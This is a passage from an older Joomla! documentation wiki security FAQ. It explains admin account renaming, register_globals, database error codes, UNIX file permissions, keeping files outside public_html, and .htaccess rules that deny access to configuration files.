* &#039;&#039;&#039;Level 1 (Banking!)&#039;&#039;&#039; - this needs to be the most secure in fact if you have two different banks it actually pays to have a different user:pass for each just to be sure!&lt;br /&gt;
&lt;br /&gt;
= Joomla! Core =&lt;br /&gt;
&lt;br /&gt;
==How can I check my Joomla! installation&#039;s overall security and health?==&lt;br /&gt;
&lt;br /&gt;
: 1. Use the free Joomla extension, Joomla! Tools Suite (JTS), which is a Joomla! environment audit, maintenance and diagnostic application written in PHP. The JTS suite of tools can diagnose, report and advise on common installation, health and security issues, including performing several common performance and recovery actions.&lt;br /&gt;
&lt;br /&gt;
: Project Home: http:// joomlacode. org/gf/project/jts/ (gone away)&lt;br /&gt;
&lt;br /&gt;
==How can I add the Joomla! Security Announcements Feed to the Admin Control Panel?==&lt;br /&gt;
&lt;br /&gt;
# Login to your Joomla! sites Administration site&lt;br /&gt;
# From the menu, select Extensions -&amp;gt; Module Manager&lt;br /&gt;
# From within the Module Manager, select Administrator&lt;br /&gt;
# From the Icon Menu (top right), select New&lt;br /&gt;
# From the choices available, select Feeds Display&lt;br /&gt;
# At the Feed Module configuration page, enter the appropriate details (Title (EG: Security Announcements) and Feed as a minimum)&lt;br /&gt;
# Enter http://feeds.joomla.org/JoomlaSecurityNews in the Feed URL&lt;br /&gt;
# Select cpanel as the position&lt;br /&gt;
# Optional Select Apply from the Icon Menu (top right) and place the feed in the order where you want to see it in the Admin Control Panel&lt;br /&gt;
# Select Save from the Icon Menu (top right)&lt;br /&gt;
# Go back to your Admin Site main page (Site -&amp;gt; Control Panel) and you should see your newly built Security Feed.&lt;br /&gt;
&lt;br /&gt;
: You can also use this technique to deliver your own &amp;quot;Customer Updates&amp;quot; to sites that you build for others. It&#039;s a great way to communicate with your customers after handing over the site to them. Every time they log in to the Back End, they&#039;ll see your latest news.&lt;br /&gt;
&lt;br /&gt;
==Why should I immediately change the name of the default admin user after a new install?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: All new Joomla installations start with a Super Administrator account called, &#039;admin&#039;. During the installation process, you will be asked to give this account a password. That&#039;s great as far as it goes, but because the user name of this highly-confidential account is generally well known, 50% of the security of the username/password combination is already exposed. Now all anyone needs to do is guess the password and they&#039;re in.&lt;br /&gt;
&lt;br /&gt;
: By changing the user name to something more difficult to guess, you greatly increase the difficulty of accessing the account. An attacker must correctly guess both the user name and password at the same time to gain access. This is several magnitudes more difficult than simply guessing the right password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Log into the Back End&lt;br /&gt;
# Select User Manager&lt;br /&gt;
# Select the &#039;admin&#039; user record&lt;br /&gt;
# Change the value in username. (Good user names contain a mix of letters and numbers.)&lt;br /&gt;
# Save&lt;br /&gt;
# Remember the new username!&lt;br /&gt;
&lt;br /&gt;
== Why does the Back-End session stay alive even though I set it to expire? ==&lt;br /&gt;
&lt;br /&gt;
: When you edit an item from the Back-End, there is a keep-alive script running that keeps the session active. This is a great convenience in most cases, as it prevents you from losing all your edits if you wait too long to submit the content. However, there are a few potential security issues to be aware of:&lt;br /&gt;
&lt;br /&gt;
# If you walk away from your computer while you are editing content, someone else can use your computer to attack the site.&lt;br /&gt;
# Due to the risk of Cross-Site Request Forgery attacks ([http://en.wikipedia.org/wiki/Cross-site_request_forgery CSRF]) it&#039;s never a good idea to browse the Internet in another window or tab while an open Joomla! Administrator session is active. Joomla! has been hardened against such attacks, but it&#039;s remotely possible that an as yet unknown vulnerability exists in the Joomla! core, a third-party extension, or the browser itself.&lt;br /&gt;
&lt;br /&gt;
==How do I turn off RG_EMULATION? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Overview&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: PHP&#039;s &#039;&#039;register_globals&#039;&#039; option was a terrible idea from a security point of view. It encouraged lazy programming and exposed many scripts to needless risk. This is because RG allows variables passed by the user to be automatically passed to the script. This breaks a cardinal rule: Never trust user input. &lt;br /&gt;
&lt;br /&gt;
: Register Globals has been officially deprecated in PHP5, and beginning with PHP6 will no longer even exist. Good riddance! &lt;br /&gt;
&lt;br /&gt;
: Joomla 1.0.x uses RG_Emulation functions which are somewhat safer than standard PHP &#039;&#039;register_globals&#039;&#039;, but it&#039;s still best not to allow any form of automatic variable assignments. Note that poorly-written extensions may fail with &#039;&#039;register_globals&#039;&#039; turned off. Such failure is a sign that the extension does not check user input correctly. Best advise: Don&#039;t use such extensions.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.13&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Beginning with the 1.0.13 release, Register Globals Emulation has been moved to the main configuration file and can be adjusting in the Back-end Administrator interface.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! 1.0.12 and earlier&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
: Edit the file, &#039;&#039;globals.php&#039;&#039;, found in the root directory of your Joomla! site. At about line 23 change:&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,1)&lt;br /&gt;
&lt;br /&gt;
: to&lt;br /&gt;
&lt;br /&gt;
 define(&#039;RG_EMULATION&#039;,0)&lt;br /&gt;
&lt;br /&gt;
==What do Error 1, Error 2, and Error 3 mean?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 1 = FATAL ERROR: MySQL not supported...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
You need to compile MySQL support into PHP or the MySQL server is down.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 2 = FATAL ERROR: Connection to database ...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Joomla! cannot talk to the database, most likly you have a typo in the username or password settings in &#039;&#039;configuration.php&#039;&#039;, or you are trying to access a database table with the wrong table prefix.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Error 3 = FATAL ERROR: Database not found...&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The database cannot be found. Check the database settings in &#039;&#039;configuration.php&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The MySQL variables in &#039;&#039;configuration.php&#039;&#039; (found in Joomla!&#039;s root directory) can be modified to correct these problems.&lt;br /&gt;
&lt;br /&gt;
For Joomla! 1.0.xx&lt;br /&gt;
 $mosConfig_host = &#039;localhost&#039;;&lt;br /&gt;
 $mosConfig_user = &#039;accountname__username&#039;;&lt;br /&gt;
 $mosConfig_password = &#039;userpassword&#039;;&lt;br /&gt;
 $mosConfig_db = &#039;accountname_dbName&#039;;&lt;br /&gt;
 $mosConfig_dbprefix = &#039;jos_&#039;;&lt;br /&gt;
&lt;br /&gt;
Modifying the &#039;&#039;$mosConfig_host&#039;&#039; to an IP Address of a remote host works for hosts that have separate MySQL servers from the client hosting servers.&lt;br /&gt;
&lt;br /&gt;
==How do UNIX file permissions work?==&lt;br /&gt;
&lt;br /&gt;
Unix/Linux file permissions can be confusing. The basic UNIX permissions come in three flavors;&lt;br /&gt;
&lt;br /&gt;
 Owner Permissions : Control your own access to files.&lt;br /&gt;
 Group Permissions : Control access for you and anyone in your group.&lt;br /&gt;
 Other Permissions : Control access for all others.&lt;br /&gt;
&lt;br /&gt;
In Unix, when permissions are configured the server allows you to define different permissions for each of these three categories of users. In a Web server environment permissions are used to control which Web site owners can access which directories and files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;What do Unix permissions look like?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
When viewing your files through an FTP client or from the servers command line;&lt;br /&gt;
&lt;br /&gt;
 filename.php username usergroup rwx r-x r-x&lt;br /&gt;
&lt;br /&gt;
The first entry is the name of the file, the next entry is your username on the server, the second entry is the group that you are a member of and the last entry is the permissions assigned to that this file (or directory). If you notice, I have intentionally spaced out the permissions section, I have grouped the 9 characters into 3 sets of 3. This separation is key to how the permissions system works. The first set of 3 permissions (rwx) relate to the username seen above, the second set of 3 permissions (r-x) relate to the usergroup seen above and the final set of 3 permissions (r-x) relate to anyone else who is not associated with the username or groupname.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Owner (User) relates to username&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Owner (User) is normally you, these permissions will be enforced on your hosting account name.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Group relates to usergroup&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Group permissions will be enforced on other people that are in the same group as you, within a hosting environment, there is very rarely other people in the same group as you. This protects your files and directories from being made available to anybody else who may also have a hosting account on the same server as you.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Other relates to everyone else&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The Other permissions, these will be enforced on anybody else on the server that is either not you or not in your group. So in a Web Serving environment, remembering that no-one else is normally in your group, then this is everybody else accessing the server except for you. Each of the three sets of permissions are defined in the following manner;&lt;br /&gt;
&lt;br /&gt;
 r = Read permissions&lt;br /&gt;
 w = Write permissions&lt;br /&gt;
 x = Execute permissions&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
&lt;br /&gt;
As many of you already know, permissions are normally expressed as a numeric value, something like 755 or 644. so, how does this relate to what we have discussed above? Each character of the permissions are assigned a numeric value, this is assigned in each set of three, so we only need to use three values and reuse them for each set.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Now that we have a value that represents each permission, we can express them in numeric terms. The values are simply added together in the respective sets of 3, which will in turn give us just three numbers that will tell us what permissions are being set. If we are told that a file has the permissions of 777, this would mean that the following was true.&lt;br /&gt;
&lt;br /&gt;
 Owner Group Other&lt;br /&gt;
 r w x r w x r w x&lt;br /&gt;
 4 2 1 4 2 1 4 2 1&lt;br /&gt;
&lt;br /&gt;
Thus...&lt;br /&gt;
&lt;br /&gt;
   4+2+1 4+2+1 4+2+1&lt;br /&gt;
 =   7     7     7&lt;br /&gt;
&lt;br /&gt;
The Owner of the file would have full Read, Write and Execute permissions, the group would also have full Read, Write and Execute permissions, and the rest of the world can also Read, Write and Execute the file. The standard, default permissions that get assigned to files and directories by the server are normally;&lt;br /&gt;
&lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories;&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Now, things can get a little complicated when we start talking about shared Web Servers, the Web Server software will be running with its own username and groupname, most servers are configured for them to use either &amp;quot;apache&amp;quot; and &amp;quot;apache&amp;quot; or &amp;quot;nobody&amp;quot; and &amp;quot;nobody&amp;quot; as username and groupname. Here is the problem. Your Web Server runs as its own user, and this user is not you or in your group, so the first two sets of permissions do not apply to it. Only the world (other) permissions apply. Therefore, if you configure a permissions set similar to 640 on your website files, your Web Server will not be able to run your website files.&lt;br /&gt;
&lt;br /&gt;
 640 = rw- r-- ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
The Web server is assigned no permissions at all and cannot Execute, Write or more importantly, even Read the file to delivery its content to a website visitors browser. If a directory was to be assigned 750 permissions, this would have the same effect, because the WebServer does not even have permissions to read files in the directory, even if the files inside that directory had favorable permissions.&lt;br /&gt;
&lt;br /&gt;
 750 = rw- r-x ---&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has no rights&lt;br /&gt;
&lt;br /&gt;
Directories have an extra quirk, if a directory does not have the Execute permission set in the World set then even if Read and Write are set, if the program is not run as the user or group, it will still not be able to access the files within the directory. The Execute setting allows the program to &amp;quot;Execute&amp;quot; commands in the directory, so without it being on the program(in our case a Web Server) cannot execute the &amp;quot;Read&amp;quot; command, thus cannot deliver your file to the users web browser.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;How Does this Relate to Joomla?&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Good question, well in the first instance this would be important during the Web-Installer process.&lt;br /&gt;
If you can remember back to when you ran the Joomla! Web-Installer, we were looking for specific directories to be designated as writable. We see quite a numbers of posts either stating that there were problems during the install with permissions or asking what permissions are recommended. Some even consider the message, asking for &amp;quot;Writable&amp;quot; permissions to be too vague.&lt;br /&gt;
&lt;br /&gt;
Unfortunately, as the Web-Installer does not know how your server is configured, then it cannot be more specific, however, once you understand the permissions settings and you know a little about Web Serving environments, you will actually find that the term &#039;&#039;writable&#039;&#039; is actually very specific and a more than adequate description of what Joomla! needs. Thinking back to the above information, you may remember that there are three places where &#039;&#039;write&#039;&#039; permissions maybe set;&lt;br /&gt;
&lt;br /&gt;
 Owner Writable&lt;br /&gt;
 Group Writable&lt;br /&gt;
 Other Writable&lt;br /&gt;
&lt;br /&gt;
Also remembering that the Web Server generally doesn&#039;t run as your own user or in the same group. When you run the Web Installer from a browser, it is the Web Server trying to access the files, thus it is the &amp;quot;Other&amp;quot; permissions that will apply to it. If the &amp;quot;Other&amp;quot; permissions do not allow the Web Server to Read, Write or Execute commands in the Joomla! directories, you will receive the message saying that the directories are not &#039;&#039;writable&#039;&#039;.&lt;br /&gt;
&lt;br /&gt;
In this case, you will need to configure the Other permissions to be &amp;quot;7&amp;quot; on the directories listed in the Web Installer.&lt;br /&gt;
So your total permissions might be something like 757, in the worse case you might need to set 777. These very open permissions&lt;br /&gt;
maybe reset back to 755 after the installer runs to assist in the security of your directories and files.&lt;br /&gt;
&lt;br /&gt;
 757 = rwx r-x rwx&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read, Write and Execute&lt;br /&gt;
&lt;br /&gt;
Just to make things even more confusing, many hosting firms make use of software called phpsuExec or suExec, these tools change the way the Web Server runs, where the Web Server would not normally run as your username, in this case, it does. The use of the &#039;&#039;other&#039;&#039; permissions, may not be required, now you may only need to configure directories to be &#039;&#039;writable&#039;&#039; to your own username and groupname, this allows directory permissions to be set as 755 or 775 instead of 757 or 777.&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x&lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
 775 = rwx rwx r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read, Write and Execute&lt;br /&gt;
 Other has Read and Execute&lt;br /&gt;
&lt;br /&gt;
The Web Server will still need to Execute set for the username and Read, Execute groupname permissions set so that it can Execute the Read command on files inside the directory. Again, these permissions may be demoted back to 755 after the Web Installer completes. Thats the basics for directories covered, what about files? This is where things get a little simpler. Most of the files that Joomla! makes use of will be quite happy with the 644 default permissions.&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r-- &lt;br /&gt;
 Owner has Read, Write&lt;br /&gt;
 Group has Read&lt;br /&gt;
 Other has Read&lt;br /&gt;
&lt;br /&gt;
This is valid if you do not have a need to Write to the files from the Web Server, the same rules apply as for directories if you do have this need. One file that you may like to have &amp;quot;Writable&amp;quot; to the Web Server is your configuration.php file. This is the Joomla! configuration file, if you plan on changing configuration through the Web Admin interface, then this file will need to be Writable to the Web Server.&lt;br /&gt;
&lt;br /&gt;
If your server needed directory permissions to be set to &amp;quot;Other&amp;quot; Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have &amp;quot;Write&amp;quot; access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.&lt;br /&gt;
&lt;br /&gt;
If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.&lt;br /&gt;
&lt;br /&gt;
In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!&lt;br /&gt;
&lt;br /&gt;
I know this isn&#039;t as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure &amp;quot;7&amp;quot; settings can be reset back to something more secure. For example: &lt;br /&gt;
 Files = 644&lt;br /&gt;
 Directories = 755&lt;br /&gt;
&lt;br /&gt;
These permissions would allow, for files;&lt;br /&gt;
&lt;br /&gt;
 644 = rw- r-- r--&lt;br /&gt;
 Owner has Read and Write&lt;br /&gt;
 Group has Read only&lt;br /&gt;
 Other has Read only&lt;br /&gt;
&lt;br /&gt;
and for directories,&lt;br /&gt;
&lt;br /&gt;
 755 = rwx r-x r-x &lt;br /&gt;
 Owner has Read, Write and Execute&lt;br /&gt;
 Group has Read and Execute only&lt;br /&gt;
 Other has Read and Execute only&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (&amp;quot; / &amp;quot;) of your Joomla! installation, then run: &lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
&lt;br /&gt;
If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the &#039;&#039;configuration.php&#039;&#039; file.&lt;br /&gt;
&lt;br /&gt;
Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.&lt;br /&gt;
&lt;br /&gt;
If you decide to use &#039;&#039;caching&#039;&#039; the cache directory will need to be &#039;&#039;writable&#039;&#039; by the Web server user to allow it to write its temporary files.&lt;br /&gt;
&lt;br /&gt;
==What are the recommended file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.&lt;br /&gt;
&lt;br /&gt;
==How can I avoid using chmod 0777 to enable installs?==&lt;br /&gt;
&lt;br /&gt;
On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Directions&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# Edit the Apache user.conf file and tell apache to run under the FTP account.&lt;br /&gt;
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Optional&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.&lt;br /&gt;
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well&lt;br /&gt;
&lt;br /&gt;
==Isn&#039;t locating all Joomla! files inside public_html a security risk?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Short answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Potentially, yes. Your site can be secure, but you must be careful and vigilant.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Long answer&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.&lt;br /&gt;
&lt;br /&gt;
Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.&lt;br /&gt;
&lt;br /&gt;
As long as you want the entire world to view your public_html directory there is no problem. After all, that&#039;s exactly what it&#039;s designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.&lt;br /&gt;
&lt;br /&gt;
If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.&lt;br /&gt;
&lt;br /&gt;
One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include and require. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The incredible lightness of living outside the fence&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.&lt;br /&gt;
&lt;br /&gt;
Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.&lt;br /&gt;
&lt;br /&gt;
Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Joomla! defense&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
Despite it&#039;s apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The challenge&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.&lt;br /&gt;
&lt;br /&gt;
This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you&#039;ll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)&lt;br /&gt;
&lt;br /&gt;
During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you cannot forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.&lt;br /&gt;
&lt;br /&gt;
The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.&lt;br /&gt;
&lt;br /&gt;
 To (Deny, then Allow), or (Allow, then Deny)?&lt;br /&gt;
&lt;br /&gt;
The real problem with the above &amp;quot;all known&amp;quot; qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.&lt;br /&gt;
&lt;br /&gt;
Consider the logic for a password authentication script. We have essentially two choices:&lt;br /&gt;
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.&lt;br /&gt;
# First deny all access, then allow any username/password combination that DOES match the approved list.&lt;br /&gt;
&lt;br /&gt;
Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.&lt;br /&gt;
&lt;br /&gt;
Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it&#039;s not usually a security breach.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;The good news&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.&lt;br /&gt;
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation. &lt;br /&gt;
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.&lt;br /&gt;
&lt;br /&gt;
==How do I adjust Joomla 1.5 defines {{JVer|1.5}}==&lt;br /&gt;
&lt;br /&gt;
There are two defines files that will generally need to be edited.  /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.&lt;br /&gt;
&lt;br /&gt;
 define( &#039;JPATH_ROOT&#039; , implode( DS, $parts ) );&lt;br /&gt;
 define( &#039;JPATH_SITE&#039; , JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_CONFIGURATION&#039;, JPATH_ROOT );&lt;br /&gt;
 define( &#039;JPATH_ADMINISTRATOR&#039;, JPATH_ROOT . DS . &#039;administrator&#039; );&lt;br /&gt;
 define( &#039;JPATH_LIBRARIES&#039; , JPATH_ROOT . DS . &#039;libraries&#039; );&lt;br /&gt;
 define( &#039;JPATH_INSTALLATION&#039; , JPATH_ROOT . DS . &#039;installation&#039; );&lt;br /&gt;
&lt;br /&gt;
.DS. = Directory Seperator&lt;br /&gt;
&lt;br /&gt;
==Moving sensitive files outside the web root==&lt;br /&gt;
{{:Moving sensitive files outside the web root}}&lt;br /&gt;
&lt;br /&gt;
==How do I block direct access to critical files using .htaccess?==&lt;br /&gt;
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you  are finished.&lt;br /&gt;
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;Files .htaccess&amp;gt;&lt;br /&gt;
 order allow,deny&lt;br /&gt;
 deny from all&lt;br /&gt;
 &amp;lt;/Files&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;configuration.php&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
You can also protect a lot of file extensions in one single rule. Exemple (the file names between &#039; &#039;&#039;&#039;(&#039;&#039;&#039; &#039; and &#039; &#039;&#039;&#039;)&#039;&#039;&#039; &#039; in this rule are the file extensions to protect ):&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;FilesMatch &amp;quot;\.(htaccess|htpasswd|ini|phps|log|sh|conf)$&amp;quot;&amp;gt;&lt;br /&gt;
 Order allow,deny&lt;br /&gt;
 Deny from all&lt;br /&gt;
 &amp;lt;/FilesMatch&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==How do I recursively adjust file and directory permissions?==&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using Joomla! Administration&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
In the Back-end, go to Site --&amp;gt; Global Configuration --&amp;gt; Server.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Using the UNIX shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Note:&#039;&#039;&#039; The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.&lt;br /&gt;
&lt;br /&gt;
 find . -type f -exec chmod 644 {} \;&lt;br /&gt;
 find . -type d -exec chmod 755 {} \;&lt;br /&gt;
 chmod 707 images&lt;br /&gt;
 chmod 707 images/stories&lt;br /&gt;
 chown apache:apache cache&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Notes:&#039;&#039;&#039;&lt;br /&gt;
# Test all third party extensions after changing permissions.&lt;br /&gt;
# You may need to reset write permissions to install more extensions.&lt;br /&gt;
&lt;br /&gt;
==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==&lt;br /&gt;
&lt;br /&gt;
Use Joomla version 1.5 or newer&lt;br /&gt;
&lt;br /&gt;
A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.&lt;br /&gt;
&lt;br /&gt;
Note that earlier techniques involving the variable $mosConfig_live_site are deprecated, and will not work with current Joomla! versions due to increased security enhancements.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;More Help&#039;&#039;&#039;&lt;br /&gt;
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]&lt;br /&gt;
&lt;br /&gt;
==Why isn&#039;t restricting access by IP recommended?==&lt;br /&gt;
&lt;br /&gt;
Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker&#039;s actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.&lt;br /&gt;
&lt;br /&gt;
= Joomla! Extensions =&lt;br /&gt;
&lt;br /&gt;
==Why are there vulnerable extensions?==&lt;br /&gt;
&lt;br /&gt;
